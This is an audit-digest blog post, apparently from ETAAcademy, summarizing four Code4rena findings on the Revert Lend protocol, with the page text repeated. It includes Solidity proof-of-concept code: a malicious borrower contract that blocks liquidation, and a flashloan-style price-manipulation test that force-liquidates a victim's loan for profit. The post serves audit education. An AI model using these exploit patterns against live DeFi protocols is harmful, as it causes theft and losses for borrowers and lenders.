Revert Lend: 最新审计报告的中高级 bugs 速读

eta
更新于 2024-05-24 08:55
阅读 994

ETAAcademy-Audit 备注:因为代码审计报告的阅读和编写都是英文的,标题也是英文的方便检索到原报告的内容,所以本文也是英文的,方便大家使用,更多精彩内容尽在ETAAcademy-Audit。

[ETAAcademy-Audit](https://github.com/ETAAcademy/ETAAcademy-Audit)

备注: 因为代码审计报告的阅读和编写都是英文的, 标题也是英文的方便检索到原报告的内容, 所以本文也是英文的, 方便大家使用, 更多精彩内容尽在 [ETAAcademy-Audit](https://github.com/ETAAcademy/ETAAcademy-Audit)。

🐬食谱：ETAAcademy-Audit\
💓成分：每个新报告都会分享 1 到 4 个有趣的高中级错误，这些错误与存储库中现有的 120 多个错误不同。\
🥰温馨提示：没有新报告，没有更新🫡💓🚀\
Web3.0审计资源和竞赛材料\
ETAAcademy-Audit 0.4.8版本分析总结了完整审计报告中具有挑战性和有趣的点，涵盖数学、EVM、gas、DOS、上下文、治理、DeFi和库八个部分，未来还会有更多内容。 这对人类来说是一小步，但却是🐬的一大步。 让我们一起学习、一起勇攀高峰吧！\
为对审计感兴趣的朋友提供了Solidity和Rust审计中常见错误的快速概述，涵盖8个主要领域的24个子域的120多种不同类型的bugs。 定期更新最新的报告和bugs。

## 1.[High] `_getReferencePoolPriceX96()` will show incorrect price for negative tick deltas in current implementation cause it doesn’t round up for them

### Negative tickCumulativesDelta

- Summary: while the protocol accurately calculates tick deltas using `tickCumulativesDelta =  tickCumulatives[0] - tickCumulatives[1]`, it fails to round down ticks when the delta is negative, as it’s done in the [uniswap library](https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/OracleLibrary.sol#L36). This oversight could lead to incorrect prices, reverting, unavailable `[_checkLoanIsHealthy()](https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Vault.sol#L702-L703)` , wrong tick and potential arbitrage opportunities.

- Impact & Recommendation: When tick deltas are negative, the protocol should rectify the rounding issue by adding `if (tickCumulatives[0] - tickCumulatives[1] < 0 && (tickCumulatives[0] - tickCumulatives[1]) % secondsAgo != 0) timeWeightedTick --;`**.**
 🐬: [Source](https://code4rena.com/reports/2024-03-revert-lend#h-05--_getreferencepoolpricex96-will-show-incorrect-price-for-negative-tick-deltas-in-current-implementation-cause-it-doesnt-round-up-for-them) & [Report](https://code4rena.com/reports/2024-03-revert-lend)

```solidity
      function _getReferencePoolPriceX96(IUniswapV3Pool pool, uint32 twapSeconds) internal view returns (uint256) {
        uint160 sqrtPriceX96;
        // if twap seconds set to 0 just use pool price
        if (twapSeconds == 0) {
            (sqrtPriceX96,,,,,,) = pool.slot0();
        } else {
            uint32[] memory secondsAgos = new uint32[](2);
            secondsAgos[0] = 0; // from (before)
            secondsAgos[1] = twapSeconds; // from (before)
            (int56[] memory tickCumulatives,) = pool.observe(secondsAgos); // pool observe may fail when there is not enough history available (only use pool with enough history!)
            //@audit
            int24 tick = int24((tickCumulatives[0] - tickCumulatives[1]) / int56(uint56(twapSeconds)));
            sqrtPriceX96 = TickMath.getSqrtRatioAtTick(tick);
        }
        return FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, Q96);
    }

```

</details>

## 2.[High] Owner of a position can prevent liquidation due to the onERC721Received callback

### `onERC721Received()` prevents liquidation

- Summary: When liquidating a position, the `_cleanUpLoan()` function is called to transfer the Uniswap LP position back to the user. However, this process relies on the `safeTransferFrom()` function, which invokes the `onERC721Received()` function on the owner's contract. If the owner's contract returns an invalid value, it can cause the `safeTransferFrom()` to revert, preventing liquidation.

- Impact & Recommendation: A solution to ensure liquidation occurs is to use a "pull over push" approach, where NFT approval is given to the owner, allowing them to redeem the NFT later.
 🐬: [Source](https://code4rena.com/reports/2024-03-revert-lend#h-06-owner-of-a-position-can-prevent-liquidation-due-to-the-onerc721received-callback) & [Report](https://code4rena.com/reports/2024-03-revert-lend)

```solidity
    contract MaliciousBorrower {

address public vault;
        constructor(address _vault) {
            vault = _vault;
        }
        function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
            // Does not accept ERC721 tokens from the vault. This causes liquidation to revert
            if (from == vault) return bytes4(0xdeadbeef);
            else return msg.sig;
        }
    }

```

```solidity
  function test_preventLiquidation() external {

// Create malicious borrower, and setup a loan
        address maliciousBorrower = address(new MaliciousBorrower(address(vault)));
        custom_setupBasicLoan(true, maliciousBorrower);
        // assert: debt is equal to collateral value, so position is not liquidatable
        (uint256 debt,,uint256 collateralValue, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);
        assertEq(debt, collateralValue);
        // collateral DAI value change -100%
        vm.mockCall(
            CHAINLINK_DAI_USD,
            abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
            abi.encode(uint80(0), int256(0), block.timestamp, block.timestamp, uint80(0))
        );

// ignore difference
        oracle.setMaxPoolPriceDifference(10001);
        // assert that debt is greater than collateral value (position is liquidatable now)
        (debt, , collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);
        assertGt(debt, collateralValue);
        (uint256 debtShares) = vault.loans(TEST_NFT);
        vm.startPrank(WHALE_ACCOUNT);
        USDC.approve(address(vault), liquidationCost);
        // This fails due to malicious owner. So under-collateralised position can't be liquidated. DoS!
        vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }
    function custom_setupBasicLoan(bool borrowMax, address borrower) internal {
        // lend 10 USDC
        _deposit(10000000, WHALE_ACCOUNT);
        // Send the test NFT to borrower account
        vm.prank(TEST_NFT_ACCOUNT);
        NPM.transferFrom(TEST_NFT_ACCOUNT, borrower, TEST_NFT);
        uint256 tokenId = TEST_NFT;
        // borrower adds collateral
        vm.startPrank(borrower);
        NPM.approve(address(vault), tokenId);
        vault.create(tokenId, borrower);
        (,, uint256 collateralValue,,) = vault.loanInfo(tokenId);
        // borrower borrows assets, backed by their univ3 position
        if (borrowMax) {
            // borrow max
            vault.borrow(tokenId, collateralValue);
        }
        vm.stopPrank();
    }

```

</details>

## 3.[Medium] No minLoanSize means liquidators will have no incentive to liquidate small positions

### `minLoanSize` = 0

- Summary: Setting `minLoanSize` to 0 removes incentives for liquidating small underwater positions, risking the protocol's financial stability. It also enables attackers to accumulate underwater debt without liquidation. This could deplete reserves and burden lenders with bad debt cleanup costs, leading to losses for both the protocol and lenders.

- Impact & Recommendation: Implementing a realistic minLoanSize will incentivize liquidators to address bad debt.
 🐬: [Source](https://code4rena.com/reports/2024-03-revert-lend#m-03-no-minloansize-means-liquidators-will-have-no-incentive-to-liquidate-small-positions) & [Report](https://code4rena.com/reports/2024-03-revert-lend)

## 4.[Medium] Lack of safety buffer in `_checkLoanIsHealthy` could subject users who take out the max loan into a forced liquidation

### Lacks a safety buffer

- Summary: The `_checkLoanIsHealthy` function in V3Vault lacks a safety buffer, increasing the risk of unfair liquidation for borrowers due to minor market movements. This vulnerability could be exploited by attackers to force liquidation for profit, potentially causing significant losses for users.

- Impact & Recommendation: To prevent unfair liquidations from minor market changes, consider implementing a safety buffer for users' positions. Set a max loan threshold lower than the liquidation threshold, ensuring borrowers are protected.
 🐬: [Source](https://code4rena.com/reports/2024-03-revert-lend#m-11-lack-of-safety-buffer-in-_checkloanishealthy-could-subject-users-who-take-out-the-max-loan-into-a-forced-liquidation) & [Report](https://code4rena.com/reports/2024-03-revert-lend)

```solidity
    contract ProofOfConcept__Vault_transform__Uv3Utils__Forced_Liquidation__Safety_Buffer is Test {
        uint256 constant Q32 = 2 ** 32;
        uint256 constant Q96 = 2 ** 96;
        uint256 constant YEAR_SECS = 31557600; // taking into account leap years
        address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;
        IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
        IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
        IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
        INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
        address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy
        address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
        address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
        address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
        address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;
        address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
        address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool
        address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool
        address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool
        address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
        uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)
        address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99;
        uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320)
        uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3%
        uint256 mainnetFork;
        V3Vault vault;
        InterestRateModel interestRateModel;
        V3Oracle oracle;
        address alice = vm.addr(9);
        address eve = vm.addr(8);
        address bob = vm.addr(7);
        bool shouldReenter = false;
        function setUp() external {
            mainnetFork = vm.createFork("https://eth-mainnet.g.alchemy.com/v2/[YOUR-RPC-URL]", 18521658);
            vm.selectFork(mainnetFork);
            // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed)  (-> max rate 25.8% per year)
            interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100);
            // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results)
            oracle = new V3Oracle(NPM, address(USDC), address(0));
            oracle.setTokenConfig(
                address(USDC),
                AggregatorV3Interface(CHAINLINK_USDC_USD),
                3600 * 24 * 30,
                IUniswapV3Pool(address(0)),
                0,
                V3Oracle.Mode.TWAP,
                0
            );
            oracle.setTokenConfig(
                address(DAI),
                AggregatorV3Interface(CHAINLINK_DAI_USD),
                3600 * 24 * 30,
                IUniswapV3Pool(UNISWAP_DAI_USDC),
                60,
                V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
                50000
            );
            oracle.setTokenConfig(
                address(WETH),
                AggregatorV3Interface(CHAINLINK_ETH_USD),
                3600 * 24 * 30,
                IUniswapV3Pool(UNISWAP_ETH_USDC),
                60,
                V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
                50000
            );
            vault =
                new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2));
            vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
            vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
            vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
            vault.setLimits(0, 100_000 * 1e6, 100_000 * 1e6, 100_000 * 1e6, 100_000 * 1e6);
            // without reserve for now
            vault.setReserveFactor(0);
            vm.warp(block.timestamp + 2 days);
        }
        struct TempVariables {
            uint256 wethFlashloan;
            uint256 debt;
            uint256 fullValue;
            uint256 collateralValue;
        }
        function testForcedLiquidation() public {
                // Setup scenario
            ERC20 usdc = ERC20(address(USDC));
            ERC20 weth = ERC20(address(WETH));
            IUniswapV3Factory factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
            IUniswapV3Pool usdcweth = IUniswapV3Pool(address(factory.getPool(address(usdc), address(weth), 500)));
            deal(address(usdc), address(bob), 100_000 * 1e6);
            deal(address(usdc), address(alice), 100_000 * 1e6);
            deal(address(weth), address(alice), 10 ether);
                    // Bob supplies liquidity to the pool
            vm.startPrank(address(bob));
            uint256 amount = 100_000 * 1e6;
            usdc.approve(address(vault), type(uint256).max);
            vault.deposit(amount, address(bob));
            vm.stopPrank();
                    // Alice opens a usdc - weth LP position
            vm.startPrank(address(alice));
            usdc.approve(address(NPM), type(uint256).max);
            weth.approve(address(NPM), type(uint256).max);
            // Current Tick: 200981
            // In range Position
            INonfungiblePositionManager.MintParams memory mp = INonfungiblePositionManager.MintParams({
                token0: usdcweth.token0(),
                token1: usdcweth.token1(),
                fee: usdcweth.fee(),
                tickLower: 	199460,
                tickUpper:  204520,
                amount0Desired: 50_000 * 1e6,
                amount1Desired: 10 ether,
                amount0Min: 0,
                amount1Min: 0,
                recipient: address(alice),
                deadline: block.timestamp + 1 days
            });
            (uint256 tokenId,,,) = NPM.mint(mp);
            NPM.setApprovalForAll(address(vault), true);
            vault.create(tokenId, address(alice));
            (,, uint256 collateralValue,,) = vault.loanInfo(tokenId);
            vault.borrow(tokenId, collateralValue); // Borrows max collateralValue
            vm.stopPrank();
            assertEq(weth.balanceOf(eve), 0); // Assert Eve starts with no tokens
            vm.startPrank(address(eve));
            TempVariables memory tv = TempVariables({
                wethFlashloan: 0,
                debt: 0,
                fullValue: 0,
                collateralValue: 0
            });
            tv.wethFlashloan = 30 ether; // Flashloan value
            deal(address(weth), address(eve), tv.wethFlashloan); // Simulate flashloan
            // Sink the victim's position on purpose through a swap
            weth.approve(address(0xE592427A0AEce92De3Edee1F18E0157C05861564), type(uint256).max);
            ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
            ISwapRouter.ExactInputSingleParams memory swapParams = ISwapRouter.ExactInputSingleParams({
                tokenIn: address(weth),
                tokenOut: address(usdc),
                fee: 500,
                recipient: address(eve),
                deadline: block.timestamp,
                amountIn: tv.wethFlashloan,
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
            swapRouter.exactInputSingle(
                swapParams
            );

// Perform a liquidation to kick the user off the protocol
            (tv.debt,tv.fullValue,tv.collateralValue,,) = vault.loanInfo(tokenId);
            usdc.approve(address(vault), type(uint256).max);
            IVault.LiquidateParams memory lp = IVault.LiquidateParams({
                tokenId: tokenId,
                debtShares: tv.debt,
                amount0Min: 0,
                amount1Min: 0,
                recipient: address(eve),
                permitData: ""
            });
            vault.liquidate(lp);

usdc.approve(address(swapRouter), type(uint256).max);
            // Swap back all usdc and profit
            swapParams = ISwapRouter.ExactInputSingleParams({
                tokenIn: address(usdc),
                tokenOut: address(weth),
                fee: 500,
                recipient: address(eve),
                deadline: block.timestamp,
                amountIn: usdc.balanceOf(address(eve)),
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
            swapRouter.exactInputSingle(swapParams);
            // Return flashloan
            weth.transfer(address(0), tv.wethFlashloan); // Simulate flashloan repayment by transferring to the burn address
            vm.stopPrank();

// Assert that Eve profited
 assertEq(weth.balanceOf(eve), 568684386651804250);
 }
 function _getTick(IUniswapV3Pool pool) internal returns(int24) {
 (,int24 tick,,,,,) = pool.slot0();
 return tick;
 }
 function _isInRange(IUniswapV3Pool pool, uint256 tokenId) internal returns(bool) {
 int24 tick = _getTick(pool);
 (,,,,,int24 lowerTick, int24 upperTick,,,,,) = NPM.positions(tokenId);
 if(tick >= lowerTick && tick <= upperTick) {
 return true;
 }
 return false;
 }
 }

```

</details>

ETAAcademy-Audit

备注: 因为代码审计报告的阅读和编写都是英文的, 标题也是英文的方便检索到原报告的内容, 所以本文也是英文的, 方便大家使用, 更多精彩内容尽在 ETAAcademy-Audit。

🐬食谱：ETAAcademy-Audit\ 💓成分：每个新报告都会分享 1 到 4 个有趣的高中级错误，这些错误与存储库中现有的 120 多个错误不同。\ 🥰温馨提示：没有新报告，没有更新🫡💓🚀\ Web3.0审计资源和竞赛材料\ ETAAcademy-Audit 0.4.8版本分析总结了完整审计报告中具有挑战性和有趣的点，涵盖数学、EVM、gas、DOS、上下文、治理、DeFi和库八个部分，未来还会有更多内容。这对人类来说是一小步，但却是🐬的一大步。让我们一起学习、一起勇攀高峰吧！\ 为对审计感兴趣的朋友提供了Solidity和Rust审计中常见错误的快速概述，涵盖8个主要领域的24个子域的120多种不同类型的bugs。定期更新最新的报告和bugs。

1.[High] `_getReferencePoolPriceX96()` will show incorrect price for negative tick deltas in current implementation cause it doesn’t round up for them

Negative tickCumulativesDelta

Summary: while the protocol accurately calculates tick deltas using tickCumulativesDelta = tickCumulatives[0] - tickCumulatives[1], it fails to round down ticks when the delta is negative, as it’s done in the uniswap library. This oversight could lead to incorrect prices, reverting, unavailable [_checkLoanIsHealthy()](https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Vault.sol#L702-L703) , wrong tick and potential arbitrage opportunities.

Impact & Recommendation: When tick deltas are negative, the protocol should rectify the rounding issue by adding if (tickCumulatives[0] - tickCumulatives[1] < 0 && (tickCumulatives[0] - tickCumulatives[1]) % secondsAgo != 0) timeWeightedTick --;. 🐬: Source & Report

  function _getReferencePoolPriceX96(IUniswapV3Pool pool, uint32 twapSeconds) internal view returns (uint256) {
    uint160 sqrtPriceX96;
    // if twap seconds set to 0 just use pool price
    if (twapSeconds == 0) {
        (sqrtPriceX96,,,,,,) = pool.slot0();
    } else {
        uint32[] memory secondsAgos = new uint32[](2);
        secondsAgos[0] = 0; // from (before)
        secondsAgos[1] = twapSeconds; // from (before)
        (int56[] memory tickCumulatives,) = pool.observe(secondsAgos); // pool observe may fail when there is not enough history available (only use pool with enough history!)
        //@audit
        int24 tick = int24((tickCumulatives[0] - tickCumulatives[1]) / int56(uint56(twapSeconds)));
        sqrtPriceX96 = TickMath.getSqrtRatioAtTick(tick);
    }
    return FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, Q96);
}

</details>

2.[High] Owner of a position can prevent liquidation due to the onERC721Received callback

`onERC721Received()` prevents liquidation

Summary: When liquidating a position, the _cleanUpLoan() function is called to transfer the Uniswap LP position back to the user. However, this process relies on the safeTransferFrom() function, which invokes the onERC721Received() function on the owner's contract. If the owner's contract returns an invalid value, it can cause the safeTransferFrom() to revert, preventing liquidation.

Impact & Recommendation: A solution to ensure liquidation occurs is to use a "pull over push" approach, where NFT approval is given to the owner, allowing them to redeem the NFT later. 🐬: Source & Report

contract MaliciousBorrower {

    address public vault;
    constructor(address _vault) {
        vault = _vault;
    }
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {
        // Does not accept ERC721 tokens from the vault. This causes liquidation to revert
        if (from == vault) return bytes4(0xdeadbeef);
        else return msg.sig;
    }
}

function test_preventLiquidation() external {

    // Create malicious borrower, and setup a loan
    address maliciousBorrower = address(new MaliciousBorrower(address(vault)));
    custom_setupBasicLoan(true, maliciousBorrower);
    // assert: debt is equal to collateral value, so position is not liquidatable
    (uint256 debt,,uint256 collateralValue, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);
    assertEq(debt, collateralValue);
    // collateral DAI value change -100%
    vm.mockCall(
        CHAINLINK_DAI_USD,
        abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
        abi.encode(uint80(0), int256(0), block.timestamp, block.timestamp, uint80(0))
    );

    // ignore difference
    oracle.setMaxPoolPriceDifference(10001);
    // assert that debt is greater than collateral value (position is liquidatable now)
    (debt, , collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);
    assertGt(debt, collateralValue);
    (uint256 debtShares) = vault.loans(TEST_NFT);
    vm.startPrank(WHALE_ACCOUNT);
    USDC.approve(address(vault), liquidationCost);
    // This fails due to malicious owner. So under-collateralised position can't be liquidated. DoS!
    vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
    vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
}
function custom_setupBasicLoan(bool borrowMax, address borrower) internal {
    // lend 10 USDC
    _deposit(10000000, WHALE_ACCOUNT);
    // Send the test NFT to borrower account
    vm.prank(TEST_NFT_ACCOUNT);
    NPM.transferFrom(TEST_NFT_ACCOUNT, borrower, TEST_NFT);
    uint256 tokenId = TEST_NFT;
    // borrower adds collateral
    vm.startPrank(borrower);
    NPM.approve(address(vault), tokenId);
    vault.create(tokenId, borrower);
    (,, uint256 collateralValue,,) = vault.loanInfo(tokenId);
    // borrower borrows assets, backed by their univ3 position
    if (borrowMax) {
        // borrow max
        vault.borrow(tokenId, collateralValue);
    }
    vm.stopPrank();
}

</details>

3.[Medium] No minLoanSize means liquidators will have no incentive to liquidate small positions

`minLoanSize` = 0

Summary: Setting minLoanSize to 0 removes incentives for liquidating small underwater positions, risking the protocol's financial stability. It also enables attackers to accumulate underwater debt without liquidation. This could deplete reserves and burden lenders with bad debt cleanup costs, leading to losses for both the protocol and lenders.
Impact & Recommendation: Implementing a realistic minLoanSize will incentivize liquidators to address bad debt. 🐬: Source & Report

4.[Medium] Lack of safety buffer in `_checkLoanIsHealthy` could subject users who take out the max loan into a forced liquidation

Lacks a safety buffer

Summary: The _checkLoanIsHealthy function in V3Vault lacks a safety buffer, increasing the risk of unfair liquidation for borrowers due to minor market movements. This vulnerability could be exploited by attackers to force liquidation for profit, potentially causing significant losses for users.

Impact & Recommendation: To prevent unfair liquidations from minor market changes, consider implementing a safety buffer for users' positions. Set a max loan threshold lower than the liquidation threshold, ensuring borrowers are protected. 🐬: Source & Report

contract ProofOfConcept__Vault_transform__Uv3Utils__Forced_Liquidation__Safety_Buffer is Test {
    uint256 constant Q32 = 2 ** 32;
    uint256 constant Q96 = 2 ** 96;
    uint256 constant YEAR_SECS = 31557600; // taking into account leap years
    address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;
    IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    address EX0x = 0xDef1C0ded9bec7F1a1670819833240f027b25EfF; // 0x exchange proxy
    address UNIVERSAL_ROUTER = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
    address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
    address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;
    address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool
    address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool
    address constant UNISWAP_DAI_USDC_005 = 0x6c6Bc977E13Df9b0de53b251522280BB72383700; // 0.05% pool
    address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
    uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)
    address constant TEST_NFT_ACCOUNT_2 = 0x454CE089a879F7A0d0416eddC770a47A1F47Be99;
    uint256 constant TEST_NFT_2 = 1047; // DAI/USDC 0.05% - in range (-276330/-276320)
    uint256 constant TEST_NFT_UNI = 1; // WETH/UNI 0.3%
    uint256 mainnetFork;
    V3Vault vault;
    InterestRateModel interestRateModel;
    V3Oracle oracle;
    address alice = vm.addr(9);
    address eve = vm.addr(8);
    address bob = vm.addr(7);
    bool shouldReenter = false;
    function setUp() external {
        mainnetFork = vm.createFork("https://eth-mainnet.g.alchemy.com/v2/[YOUR-RPC-URL]", 18521658);
        vm.selectFork(mainnetFork);
        // 0% base rate - 5% multiplier - after 80% - 109% jump multiplier (like in compound v2 deployed)  (-> max rate 25.8% per year)
        interestRateModel = new InterestRateModel(0, Q96 * 5 / 100, Q96 * 109 / 100, Q96 * 80 / 100);
        // use tolerant oracles (so timewarp for until 30 days works in tests - also allow divergence from price for mocked price results)
        oracle = new V3Oracle(NPM, address(USDC), address(0));
        oracle.setTokenConfig(
            address(USDC),
            AggregatorV3Interface(CHAINLINK_USDC_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(address(0)),
            0,
            V3Oracle.Mode.TWAP,
            0
        );
        oracle.setTokenConfig(
            address(DAI),
            AggregatorV3Interface(CHAINLINK_DAI_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(UNISWAP_DAI_USDC),
            60,
            V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
            50000
        );
        oracle.setTokenConfig(
            address(WETH),
            AggregatorV3Interface(CHAINLINK_ETH_USD),
            3600 * 24 * 30,
            IUniswapV3Pool(UNISWAP_ETH_USDC),
            60,
            V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
            50000
        );
        vault =
            new V3Vault("Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2));
        vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
        vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
        vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max); // 90% collateral factor / max 100% collateral value
        vault.setLimits(0, 100_000 * 1e6, 100_000 * 1e6, 100_000 * 1e6, 100_000 * 1e6);
        // without reserve for now
        vault.setReserveFactor(0);
        vm.warp(block.timestamp + 2 days);
    }
    struct TempVariables {
        uint256 wethFlashloan;
        uint256 debt;
        uint256 fullValue;
        uint256 collateralValue;
    }
    function testForcedLiquidation() public {
            // Setup scenario
        ERC20 usdc = ERC20(address(USDC));
        ERC20 weth = ERC20(address(WETH));
        IUniswapV3Factory factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
        IUniswapV3Pool usdcweth = IUniswapV3Pool(address(factory.getPool(address(usdc), address(weth), 500)));
        deal(address(usdc), address(bob), 100_000 * 1e6);
        deal(address(usdc), address(alice), 100_000 * 1e6);
        deal(address(weth), address(alice), 10 ether);
                // Bob supplies liquidity to the pool
        vm.startPrank(address(bob));
        uint256 amount = 100_000 * 1e6;
        usdc.approve(address(vault), type(uint256).max);
        vault.deposit(amount, address(bob));
        vm.stopPrank();
                // Alice opens a usdc - weth LP position
        vm.startPrank(address(alice));
        usdc.approve(address(NPM), type(uint256).max);
        weth.approve(address(NPM), type(uint256).max);
        // Current Tick: 200981
        // In range Position
        INonfungiblePositionManager.MintParams memory mp = INonfungiblePositionManager.MintParams({
            token0: usdcweth.token0(),
            token1: usdcweth.token1(),
            fee: usdcweth.fee(),
            tickLower:  199460,
            tickUpper:  204520,
            amount0Desired: 50_000 * 1e6,
            amount1Desired: 10 ether,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(alice),
            deadline: block.timestamp + 1 days
        });
        (uint256 tokenId,,,) = NPM.mint(mp);
        NPM.setApprovalForAll(address(vault), true);
        vault.create(tokenId, address(alice));
        (,, uint256 collateralValue,,) = vault.loanInfo(tokenId);
        vault.borrow(tokenId, collateralValue); // Borrows max collateralValue
        vm.stopPrank();
        assertEq(weth.balanceOf(eve), 0); // Assert Eve starts with no tokens
        vm.startPrank(address(eve));
        TempVariables memory tv = TempVariables({
            wethFlashloan: 0,
            debt: 0,
            fullValue: 0,
            collateralValue: 0
        });
        tv.wethFlashloan = 30 ether; // Flashloan value
        deal(address(weth), address(eve), tv.wethFlashloan); // Simulate flashloan
        // Sink the victim's position on purpose through a swap
        weth.approve(address(0xE592427A0AEce92De3Edee1F18E0157C05861564), type(uint256).max);
        ISwapRouter swapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
        ISwapRouter.ExactInputSingleParams memory swapParams = ISwapRouter.ExactInputSingleParams({
            tokenIn: address(weth),
            tokenOut: address(usdc),
            fee: 500,
            recipient: address(eve),
            deadline: block.timestamp,
            amountIn: tv.wethFlashloan,
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        swapRouter.exactInputSingle(
            swapParams
        );

        // Perform a liquidation to kick the user off the protocol
        (tv.debt,tv.fullValue,tv.collateralValue,,) = vault.loanInfo(tokenId);
        usdc.approve(address(vault), type(uint256).max);
        IVault.LiquidateParams memory lp = IVault.LiquidateParams({
            tokenId: tokenId,
            debtShares: tv.debt,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(eve),
            permitData: ""
        });
        vault.liquidate(lp);

        usdc.approve(address(swapRouter), type(uint256).max);
        // Swap back all usdc and profit
        swapParams = ISwapRouter.ExactInputSingleParams({
            tokenIn: address(usdc),
            tokenOut: address(weth),
            fee: 500,
            recipient: address(eve),
            deadline: block.timestamp,
            amountIn: usdc.balanceOf(address(eve)),
            amountOutMinimum: 0,
            sqrtPriceLimitX96: 0
        });
        swapRouter.exactInputSingle(swapParams);
        // Return flashloan
